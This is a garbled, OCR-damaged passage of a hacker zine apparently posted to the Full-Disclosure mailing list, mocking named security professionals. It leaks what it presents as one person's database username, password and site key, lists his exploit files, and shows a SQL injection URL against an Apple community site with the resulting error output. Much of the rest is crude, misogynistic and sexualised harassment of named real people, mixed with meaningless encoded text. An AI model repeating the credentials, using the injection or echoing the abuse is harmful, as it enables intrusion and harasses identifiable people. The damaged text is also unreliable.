MX—-2+ZEZ;0U\7_"*F2:&_ <1ERQ1]R%<=="]W8N\!/JDH6$=;LDG>&4ZR"."
M*[J/$LV%UL(A%U1+RX,XZS:Y$$>8"2" #QTW;.BL97,J&STRL[JFTCMWI[[IA
MOKF8Z//'@=?5UQ5$COIKL!I@@)* \P[KY()VB,AN@U'I219>6#16*,%"NF+\5
M[%=3X>)YZ1B1Q%*$50J* 2SL"[5PVR+8('L,J*0_;G][J@8"*5=>JI<|_==
M)8Z-C1%>H0%>?B(>$Y[E@J*%5K3.>/H =7 .)QPH!=R6V2=IYK<2I176N/]|@"
MF@,_"-T.3A4,3N=&X\KVI5?9NQ,"GO]™:SF-W)A";3@Q] ()!E494-=TX"6
MS$!RYSUKWW#]4%#]HGSD9I$%>R* 2V0([R2%0@8C!0(5D4 10("R" @ I"%B&
MBESACI&YAXB,&&2#3SM-#60W=WY 7KE[FB&++AFZ,ZO1181U>)""7<"P_4>V
MB-.&BWC:/8"MZPUSOGGIUQ=Y=7=1VS[-W?]&1V'=TXIKO[Y+)+.HT&:>H.P:
M7.@JF@KPYOFC]W&HI'TCMA+12M8X9@, V']EVS]GO1 2MOMDS)4R$&& 0N 3QYGOBR!Q8%8:(8=XD
M"RAQL+131P"9T_A"FO[.=—9EP([8;ZG*B 2A1AKNA]IMJ;G$K%!&]@V+]%B?
M]@DOMX!:FNN%*$E([@VA.9*ZSY/GI2E3]-,*"H@85E" ! A"#$<I=XU#J.CA
MJ<X7D+M26$8E19<3@:GB'B30(?1FP#.]*%) " U%@AQTSY<-".?[41 604C$52
M(?+1KWGJI>I9JHBIN;OXX:[@;$T'K;&X/%!_IW &UI6™M" (V%I!SU&UNDWNE
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M*A( $HRJ:8F\-D]?A<*B%A #*(DQ6G#8—" ODOA.V@VQZ&H/219/2.X.Q$$T
M2C.+*BR(@C!8K$1D%GU-V"PZ>"<X//,_EIC +U)@TWOI<?6?,<NVGO&A:P4)
M6(ESL(LT[V=_U)%[<]=].,.$DU<OQUA.AT*3L"4]*"HE#(/K7QD4$=XD:\

M\%P (>NKPT*XB!"M)-() @L#H)U(JZ.M#0*"7'WI"MU);;:+/AZ7R)\;ZOV"0
M3FSLY.SZ23J$P@ "Q* SDC1X"9_&4\.ROQY61<,URD#O"A.H=0"7F<57F*4
M#D'_:—6BH1.J*[E#=HL.8PJ73—+#")6%"3M W1%>:;"=%C+!>XF_"ZIYGBC#
M.UB@V)S9!(:>R*H,X;AlIC’ (DG-@VEA4[P'Y3VIKI>U4>6"63*GA=I$YGB @L
MXLWV# @D#Q\'H&)F18@B/#J3\J01@N;&#8Z]0E-2$ ZAK@](M[MI#+*F@BK
M!$6°P5#?7>&J;7R[0.7=>2),Q[A585*E88FI#<91) PO, TW(,.'+(;&8Q%"0
M*AMJI&Y)M)#HAI-J*#1)"% %2 @0+1G6;J30S @D, 8IP,2LAB-",:+Z4A)%Q
M@B6<IFYXYA<L;'ZG5+YB:1&9:#1@(XE/3B-@KG)%Il#H*).Y-]"E:HR:L"/<PD
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end
TH3 GOOD OL D4YZ OF TOMMY F3RR1Z (THE D4YZ OF POZTNUK3 0D4YZ HOHOHOHOHO):

$dbhost = "localhost";

$dbuname = "itztommy";

$dbpass = "aR8m6etDzF5uRPE9";

$dbname = "security—protocols_com_-_allnew";
$prefix = "nuke";

$user_prefix = "nuke";

$dbtype = "MySQL";

$sitekey = "S-P.COM*f8367-dm56w69.3a2fDS+e9";
$gfx_chk = 0;

# Is -l sploits

total 1340

—rw—r——r—— 1 tommy tommy 11816 Jul 12 2005 Cisco—-Global-Exploiter.pl
drwxr—xr—=x 15 tommy tommy 4096 Jul 12 2005 ESprojects

—rw—r——r—— 1 tommy tommy 9135 Jul 12 2005 citadel_fsexp.c
—rw—r——r—— 1 tommy tommy 2404 Jul 12 2005 cpanel.zip

drwxr—xr—x 20 tommy tommy 4096 Jul 12 2005 daemon

—rw—r——r—— 1 tommy tommy 4146 Jul 12 2005 iptables-log—integer.overflow.c
—rw—r——r—— 1 tommy tommy 8863 Jul 12 2005 ms04-007-dos.c
drwxr—xr—x 8 tommy tommy 4096 Mar 21 2006 new_sploits

drwxr—xr—x 16 tommy tommy 4096 Jul 12 2005 os

drwxr—xr—x 2 root root 4096 Mar 14 2006 osx

drwxr—xr—x 2 root root 4096 Mar 10 2006 prdelka

drwxr—xr—x 2 tommy tommy 4096 Jul 12 2005 sploits2

—rw—r——r—— 1 tommy tommy 20376 Jul 12 2005 tcp—exploit.zip
drwxr—xr—=x 3 tommy tommy 4096 Jul 12 2005 uberhaxOr.exploits.01.22.01
drwxr—xr—x 2 tommy tommy 69632 Jul 12 2005 unsorted_exploits
—rw—r——r—— 1 tommy tommy 1125728 Jul 12 2005 webdav.tar.gz
—rw—r——r—— 1 tommy tommy 49152 Jul 12 2005 win-workst.zip
—rw—r——r—— 1 tommy tommy 12809 Jul 12 2005 ximage_zgv.tar.gz

NON3 BY TOM FERRIS! CPANEL? CISCO? HOHO! (TOM FERRIS DEFACER AND
BOTNET KIDDIE, TOM FERRIS ADWARE INSTALLER, TOM FERRIS BAD UNETHICAL HACKER)
TOM FERRIS TOM FERRIS TOM FERRIS TOM FERRIS TOM FERRIS LA LA LA TOM FERRIS...

0.00.0 7. APPLE AND THE SQL INJECTION APPLE PIE

ALERT LAME ALERT ALERT LAME ALERT ALERT LAME ALERT ALERT LAME ALERT

___, http:/ledcommunity.apple.com/ali/search.php?
0___ .—'/ output=RSS&order=rating&collectionID=109<SQL>

|\
|
| SELECT itemID, UNIX_TIMESTAMP(publishdate) AS date
| FROM item WHERE 1 AND (item.memberships LIKE

RN
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__j__"%,109,%' OR item.memberships LIKE '109,%' OR

L L1 L1 L] item.memberships LIKE '%,109") ORDER BY rating
I I I

I

[ i i i 1Warning: fopen(CENSORED): failed to open stream:
[i__i/V\_j__j] No such file or directory

[ /\\_j Jin/Library/WebServer/Documents/CENSORED...
[i_|lli_Tlonline CENSORED

[ il | i 1Therewas an error!

I

[ j j j14PPL3: ST1LL TOO L4M3 FOR B31NG WORTH TH3 SQL
[J_J_j j ]1CRAVING. 4PPL3 S3CURLTY T34M N33DZ ZOM3 T4L3NT.

0.00.0 9. GADI EVRON TH3 0B3Z3 FUCKT4RD

This is your life and it's ending one minute at a time, Fuck off with your
CISSP and shiny DEFCON badges, | say never be complete, | say stop being
perfect, | say let... lets evolve, let the Oday fall where they may. Gadi

does it everyday, he talks to himself... he sees himself as he'd like to be, he
doesn't have the courage you have, to just run with it...

Man, | see in fight club the strongest and smartest men who've ever lived.

| see all this potential, and | see squandering. God damn it, an entire
generation selling out, eating the corporate bullshit; slaves with white
collars. The security industry has us chasing fame, working jobs we hate so
we can buy shit we don't need. We're the middle children of history, man. No

purpose or place. We have no Great War. No Great Depression. Our Great War's

a spiritual war... our Great Depression is our lives. We've all been raised on
BUGTRAQ to believe that one day we'd all be millionaires, and Oday gods,
and security rock stars.

But we won't. And we're slowly learning that fact.

...AND WE'RE VERY, VERY PISSED OFF.

IN

I

|/_| THIS IS GADI.

=" "~ GADI HAD BITCH TITS,

"\ AND A STOMACHFUL OF XANAX

AV

R G

I (G )

V("= (0>

Ry A

.

[\, -}

[11){}

\\ (_——::———:: ——————— ='o { }
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I\ Mww )\ Aww
AWw Mww

In the world | see — you are stalking elk through the damp canyon forests
around the ruins of Beyond Security's headquarters. You'll wear leather
clothes that will last you the rest of your life. You'll climb the

wrist—thick kudzu vines that wrap the Sears Tower. And when you look down,
you'll see tiny figures pounding corn, laying strips of venison on the empty
car pool lane of some abandoned superhighway.

Listen up, fucking Gadi maggot. You are not special. You are not a beautiful
or unigue snowflake. You're the same decaying organic matter as everything else.
Ju5t mOr3 0b3s3 4nd 4nn0ylng. HOws th3 I1ght cOk3 wOrk1lng?

Th3 thlngs yOu Own 3nd up Ownlng jOO.

Without pain, without sacrifice, we would have nothing. Like the first monkey
shot into space. We are all part of the same compost heap.

0.00.0 10. BLUEPILL PO3M

/-_-\APO3M FOR MY D34REST JO4NN4 RUTKOWSKA4:
/1\
/ 1\ O SH3M4L3 FORM WHO 1 4DOR3/ PUT TH1S 1N YOUR F4K3 CUNT
\\/
\_\_/Y3S1KNOW/JU5T 1GNOR3 TH3 THORNZ
\\
-\ 4BSOLUT3LY 4NYTHING / TO M4K3 IT SM3LL B3TT3R
\//
\V__ /L4ADY DON'T S3ND MOVEON.ORG YOUR MON3Y OR
\\ -// PROT3ST 1IN FRONT OF TH3 4BORT1ON CL1N1C
\_ V/-JU5T SP3ND T3N M1INUT3S BUY1NG FLOW3RS 4ND
-/l SHOVING TH3M 1INTO YOUR FAK3 CUNT
\\
/' W3 TR13D USING WIND3X BUT TH4T M4D3 THINGS

/- WORS3

[Full-disclosure] Squadron of Justice to the rescue 45



[Full-disclosure] Squadron of Justice to the rescue

=1l

// TH3 COPZ S4Y 1F 1 US3 BL34CH 4G41N 1 GO B4CK 1IN
\\

\\ 4LSO DON'T DO TH1S WHIL3 DR1VING OK4Y TH4NKX

K33P1N TH3 TRU3 SP1R1T OF H4CK1ING S1NC3 1996: 12 Y34RZ H1D1N 1N PL41N S1GH7

fuck you. 888 888 d8888 8888888h. 8888888b. Y88b d88P
FUCK YOU. 888 888 d88888 888 Y88b 888 Y88b Y88b d88P
fuck you. 888 888 d88P888 888 888 888 888 Y88088P

FUCK YOU. 8888888888 d88P 888 888 d88P 888 d88P Y888P
fuck you. 888 888 d88P 888 8888888P" 8888888P" 888

FUCK YOU. 888 888 d88P 888 888 888 888

fuck you. 888 888 08888888888 888 888 888

FUCK YOU. 888 888 d88P 888 888 888 888

W\

D33p 1n th3 b0ssOm Of th3 g3ntle nlght, (/,]:::"

1s wh3n | s34rch fOr th3 I1ght, plck up \ /AV||__

my p3n and st4rt t0 wrlt3, | struggl3 _/~ ™"~""\

4nd fight d4rk fOrc3s 1nth3 cl34r _ /-'/ "=\ \

mOOnlidlght... wilthOut f34r... / /=" "\ \ \=\

S0 wh3n 1t's bl4ck, thls 1nsOmnl4c, t4k3 4n Orlgln4l t4ck, k33p
th3 b34st 1n my n4tur3, und3r ¢34s3I3ss 4tt4ck. But th3r3's n0
r3134s3, n0 p34c3. | t0ss 4nd turn 4rOund wlthQut c34s3.....

HO HO .d8888b. .d8888b. .d8888b. .d8888b. fuck you.

HO HO d88P Y88b d88P Y88b d88P Y88b d88P Y88b FUCK YOU.
HO HO 888 888 888 888 888 Y88hb. d88P fuck you.

HO HO .d88P 888 888 888 888 "Y88888" FUCK YOU.

HO HO .0d888P" 888 888 888 888 .d8P""Y8b. fuck you.

HO HO d88P" 888 888 888 888 888 888 FUCK YOU.

HO HO 888" Y88b d88P Y88b d88P Y88b d88P fuck you.

HO HO 888888888 "Y8888P" "Y8888P" "Y8888P" FUCK YOU.

WE SETUP YOUR IDS, WE CODE YOUR MARKETING SITE, WE PENTEST YOUR
NETZ. WE ARE THE ALL SINGING, ALL DANCING CRAP OF THE SECURITY
INDUSTRY. WE DRIVE YOUR AMBULANCEZ, GUARD YOU WHILE YOU SLEEP,

MONITOR YOUR DMZ, READ YOUR FIREWALL LOGZ, CONFIGURE YOUR ACLZ.

DO NOT FUCK WITH US.

Version: Hush 3.0
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WPWEAAMCAAYFAKicVe0OACgkQ5g5u/REitpY O/gP+NwZ+0xuXhkkMm7rsV9ioZkeZhyov
kk1t+gvmV6mG40sFXM3r+9GAD5P/WsoyoOWOphggaV+HRIc6i651vxAZ3JESxI1DRbQj

+ZSdNOvcISWxBOVLAUtWPHFAVT4hsd30CggFSzeqzJEc8In8uufQcR3hvFsFzsd/gLjN
xas99fE=
=KoeP

Full-Disclosure — We believe in it.

Charter:_http://lists.grok.org.uk/full-disclosure—charter.html
Hosted and sponsored by Secunia — http://secunia.com/
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